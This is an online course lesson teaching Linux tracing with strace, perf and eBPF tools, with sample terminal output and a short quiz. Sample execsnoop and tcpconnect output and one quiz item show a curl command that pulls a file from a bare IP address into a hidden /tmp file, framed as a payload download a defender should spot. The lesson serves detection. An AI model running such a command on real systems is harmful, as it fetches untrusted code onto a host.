CoursesAdvanced Linux internals & toolingTracing with perf & eBPF tools

Tracing with perf & eBPF tools

See what a slow process is actually doing.

Advanced12 min · lesson 4 of 17

A process is pinned at 100% CPU (central processing unit, the chip that actually runs your code), or it's stuck and answering nothing, and top (the standard live view of running processes) only tells you it's busy, not what it's busy doing. Tracing is how you get behind the process and watch the real work: which functions burn the processor, which requests to the operating system it's blocked on, where the milliseconds actually go. There are three tools you reach for, in a fairly fixed order, and each one hands a defender something different.

Every slow program is waiting on the kernel

A program can do a lot on its own: arithmetic, shuffling bytes around in its own memory, looping. But the moment it needs anything from the outside world, reading a file, sending a network packet, asking for more memory, checking the clock, it has to ask the kernel (the core part of the operating system that controls the hardware and guards it from the programs on top). That request is a system call, or syscall for short. The program is like a tenant in a locked apartment, and the kernel is the building manager: anything involving the world outside the apartment means passing a note under the door and waiting for the manager to come back. Almost every slow program is slow because it's stuck waiting on one of those notes, a disk read, a lock, a reply from another server. Find the note it's stuck on and you've found the stall.

strace: a log of every request to the kernel

strace (short for 'system call trace') stands at that door and writes down every note. Point it at a running process with -p and the process ID, add -T to record how long each call took, and you get a live transcript.

~/secopslog — bash
$ sudo strace -T -p 812 2>&1 | head
strace: Process 812 attached read(7, "\27\3\3\0\32", 5) = 5 <0.000018> read(7, "\0\0\0\0\0\0\0\1"..., 8192) = 512 <0.000014> futex(0x55e3a1c0b9d0, FUTEX_WAIT_PRIVATE, 2, NULL) = 0 <2.104882> write(1, "processed batch\n", 16) = 16 <0.000021>

Read that middle line. The process sat in futex (fast userspace mutex, the kernel primitive that locks live on top of) for 2.1 seconds. Everything else took microseconds. That single number is your answer: this process isn't computing anything, it's waiting on a lock somebody else is holding. No guessing, no reading source code, the transcript tells you exactly where the time went.

~/secopslog — bash
$ sudo strace -c -p 812 # ...let it run, then press Ctrl-C to print the summary
strace: Process 812 detached % time seconds usecs/call calls errors syscall ------ ----------- ----------- --------- --------- ---------------- 91.63 6.314646 7016 900 12 futex 5.04 0.347012 347 1000 read 2.72 0.187334 187 1000 write 0.61 0.042160 42 1000 epoll_wait ------ ----------- ----------- --------- --------- ---------------- 100.00 6.891152 3900 12 total

The -c flag skips the line-by-line firehose and prints a summary sorted by time spent. Here 91% of the wall-clock time is gone to futex: it's lock contention, not slow disk or slow network. Two more flags earn their keep. -f follows the process into any child it forks, so you don't lose the trail when a program spawns worker processes. And -e trace=openat,connect narrows the flood down to only the syscalls you care about, here file opens and outbound connections, which is often how you catch a program touching a file or an address it has no business touching.

Why strace can take down a busy service

Here's the catch, and it bites hard in production. strace works through a kernel feature called ptrace (process trace), the same machinery a debugger uses. ptrace doesn't watch from across the room. It stops the traced process on every single syscall, hands control to strace, waits for strace to record the call, then wakes the process back up. Every note under the door now goes through a middleman who pauses the tenant twice per note. On an idle or stuck process you'll never feel it. On a web server doing tens of thousands of syscalls a second, you've added two context switches (the CPU saving one task's state and loading another's) onto every one of them, and throughput can drop by 10x or worse.

strace can turn a slow service into a dead one
Because ptrace stops the target on every syscall, pointing strace at a hot production process can multiply its overhead until it falls over. Use strace to dissect one process that is stuck or idle. On a busy live system, reach for perf sampling or the eBPF tools below instead, which are built for near-zero overhead.

perf: sampling the CPU instead of logging it

perf (the Linux kernel's built-in sampling profiler) takes the opposite approach. Instead of recording every event, it samples. A few thousand times a second it interrupts the CPU, notes which function is running at that instant, and adds up the tally. Think of a factory supervisor who doesn't shadow any one worker but glances up 4,000 times a second and jots down which station is active; after a minute, the station that showed up in the most glances is your bottleneck. Because perf only peeks periodically instead of intercepting every call, the overhead is small enough to run on a live box. perf top gives you that tally in real time, across the whole system.

~/secopslog — bash
$ sudo perf top
Samples: 118K of event 'cpu-clock:pppH', 4000 Hz Overhead Shared Object Symbol 34.18% slow-job [.] compute_checksum 11.92% libc.so.6 [.] __memmove_avx_unaligned_erms 7.44% [kernel] [k] copy_user_enhanced_fast_string 4.03% libz.so.1.2.11 [.] inflate_fast 2.87% slow-job [.] parse_record

A [.] means the function runs in userspace (ordinary program code); a [k] means it runs in the kernel. A third of the CPU is in compute_checksum, and it's your own binary. That's the hot loop, found without touching the source or adding a single print statement. To profile one command from start to finish rather than the whole system, record it and read the result back.

~/secopslog — bash
$ sudo perf record -g -- ./slow-job
[ perf record: Woken up 5 times to write data ] [ perf record: Captured and wrote 1.284 MB perf.data (16092 samples) ]
$ sudo perf report --stdio | head -n 12
# Samples: 16K of event 'cpu-clock:pppH' # Event count (approx.): 4023000000 # # Overhead Command Shared Object Symbol # ........ ........ .............. ........................ # 34.02% slow-job slow-job [.] compute_checksum 11.87% slow-job libc.so.6 [.] __memmove_avx_unaligned_erms 7.51% slow-job slow-job [.] parse_record 4.19% slow-job libz.so.1.2.11 [.] inflate_fast

The -g flag captures call graphs, so perf report can also show you who called the hot function, not only which function was hot. One warning about symbols: if perf shows raw hex addresses instead of names like compute_checksum, the binary was stripped of its symbol table. Install its matching debug package (on Debian and Ubuntu these are the -dbgsym or debuginfo packages) so perf can translate addresses back into function names. When you need raw counters instead of a profile, perf stat -- ./cmd prints cache misses, branch mispredictions, and context-switch counts for a single run.

eBPF: sensors you load into the kernel

eBPF (extended Berkeley Packet Filter, the same technology you may have met in the security course) is the newest of the three and, for a defender, usually the most useful. Ignore the packet-filter name, it's historical. What eBPF actually gives you is the ability to load a tiny program of your own into the running kernel, attach it to a specific event, and have it run every time that event fires, safely. Before your program is let in, a verifier checks that it can't loop forever, can't crash the kernel, and can't read memory it shouldn't. It's the difference between tailing a suspect all day (strace) and bolting a motion sensor to one specific door that pings you only when that door opens (eBPF). Almost no overhead, and it runs down in the kernel where a watched process can't see it and can't switch it off.

You rarely write these programs by hand. Two toolkits ship ready-made ones. bcc (the BPF Compiler Collection) is a set of purpose-built tools; on Debian and Ubuntu they come from the bpfcc-tools package and are named with a -bpfcc suffix. bpftrace is a small language for writing one-liners when no canned tool fits. Start with execsnoop, which prints every new process the moment it executes.

~/secopslog — bash
$ sudo execsnoop-bpfcc
PCOMM PID PPID RET ARGS sh 48213 1 0 /bin/sh -c /usr/local/bin/backup.sh backup.sh 48213 1 0 /usr/local/bin/backup.sh gzip 48219 48213 0 /usr/bin/gzip -9 curl 48224 48213 0 /usr/bin/curl -s https://198.51.100.7/x -o /tmp/.k

A backup script is fine. The last line is not: a curl to a bare IP address, no hostname, writing a hidden file (the leading dot) into /tmp. That's the shape of a script pulling down a second-stage payload, and execsnoop caught it live because the syscall that starts every program (execve) fired and your sensor was attached to it. There's no polling gap for an attacker to slip through the way there is with a process list you check every few seconds.

~/secopslog — bash
$ sudo biolatency-bpfcc
Tracing block device I/O... Hit Ctrl-C to end. ^C usecs : count distribution 128 -> 255 : 4 | | 256 -> 511 : 21 |███ | 512 -> 1023 : 198 |██████████████████████████████████████ | 1024 -> 2047 : 76 |██████████████ | 2048 -> 4095 : 12 |██ | 16384 -> 32767 : 9 |█ |

biolatency draws disk I/O (input/output) latency as a histogram, one bar per speed bucket, in microseconds. Most reads land near half a millisecond, but notice the small cluster up at 16-32 milliseconds. Two separate humps mean a bimodal distribution: fast requests served from cache and a tail of slow ones hitting real disk. An average would have hidden that tail completely; the shape is the whole point.

~/secopslog — bash
$ sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { @[comm] = count(); }'
Attaching 1 probe... ^C @[systemd-journald]: 44 @[cron]: 91 @[nginx]: 1287 @[find]: 20463

That one line answers 'who is hammering the disk with file opens?' It attaches to the openat syscall and counts hits per program name (comm is the kernel's short name for the command). find opened 20,463 files while nginx opened barely a thousand. There's your answer, in a single command you can type from memory.

What a defender actually watches

Line these tools up and they stop being a performance kit and start being a detection kit. execsnoop shows every program that runs, which is how you spot a reverse shell or a cron job spawning a stranger. opensnoop-bpfcc -n sshd shows every file a named process opens, which is how you catch something reading /etc/shadow or an SSH private key. tcpconnect-bpfcc shows every outbound TCP (transmission control protocol) connection the moment it's made, which is how you catch a process beaconing to a command-and-control (C2) server it phones home to for orders.

~/secopslog — bash
$ sudo tcpconnect-bpfcc
PID COMM IP SADDR DADDR DPORT 48224 curl 4 10.0.2.15 198.51.100.7 443 1123 chrome 4 10.0.2.15 142.250.72.14 443 978 node 4 10.0.2.15 10.0.2.15 5432

There's that same curl again, this time caught reaching out to 198.51.100.7 on port 443. The real value for a defender is where these sensors live. They run inside the kernel, below the process being watched. An attacker running as an unprivileged user can't tell the sensor is there and can't turn it off, unlike a log file a foothold can quietly edit. To make that watch permanent instead of an interactive session, the same event streams feed tools like Falco and Tetragon, which turn eBPF probes into standing alert rules.

Which tracing tool for the job
What are you trying to see?
One process is stuck or idle
strace
Read the exact syscall it's blocked on. The ptrace overhead is fine when the target isn't busy.
Something is burning CPU
perf
Sample thousands of times a second to find the hot function, live-safe on a running box.
A busy production box, one question
eBPF (bcc / bpftrace)
Load an in-kernel sensor: execsnoop, biolatency, tcpconnect. Near-zero overhead, hard to evade.
Quick check
01You attach strace -p to a production web server handling 50,000 requests a second and its throughput collapses within seconds. What is doing the damage?
Incorrect — strace writes down the requests a program makes to the kernel, not the bytes of any packet, and it produces no capture file.
Incorrect — The pause lands on the one traced process, which is why the same command is harmless when you point it at an idle target.
Correct — Every call picks up two extra context switches, so the damage grows in direct proportion to how chatty the process already is.
Incorrect — ptrace changes when the process gets to run, not how its caches behave. The stop and resume on each call is the whole bill.
02eBPF lets you load a program you wrote into the running kernel, but a verifier inspects it first. What must the verifier establish before your program is allowed in?
Correct — Those guarantees are the reason code you wrote is allowed to run down in kernel space next to the hardware at all.
Incorrect — Privilege to load is handled separately. The verifier judges what the program does, not who happens to be asking for it.
Incorrect — Turning the program into fast machine code is a later step aimed at performance, and it is not what the safety check does.
Incorrect — The check reasons about what your code is able to do rather than comparing it against a catalogue of bad code.
03With execsnoop-bpfcc running during a routine backup, one line reads: curl 48224 48213 0 /usr/bin/curl -s https://198.51.100.7/x -o /tmp/.k. What makes that line worth chasing?
Incorrect — A zero return from exec means the program did start, so the line is not evidence of a failed command spinning on retries.
Incorrect — The sensor rides on the execve syscall itself, so it reports every new process on the box no matter who started it.
Incorrect — curl is an ordinary administrative tool. What marks this line is the address it dials and the file it quietly writes.
Correct — Fetching from a naked address and hiding the result in a scratch directory is how a foothold quietly collects its next stage.

When you think you've fixed the stall, prove it with the same tool that found it. Rerun strace -c and watch the futex line's total seconds collapse toward zero. Rerun biolatency and check the slow 16-millisecond hump is gone from the histogram. Rerun perf top and confirm compute_checksum has dropped out of the top spot. A trace that shows the time is actually gone is the only proof that your change did anything.

Try this

Work through “What a defender actually watches” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: strace can turn a slow service into a dead one. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related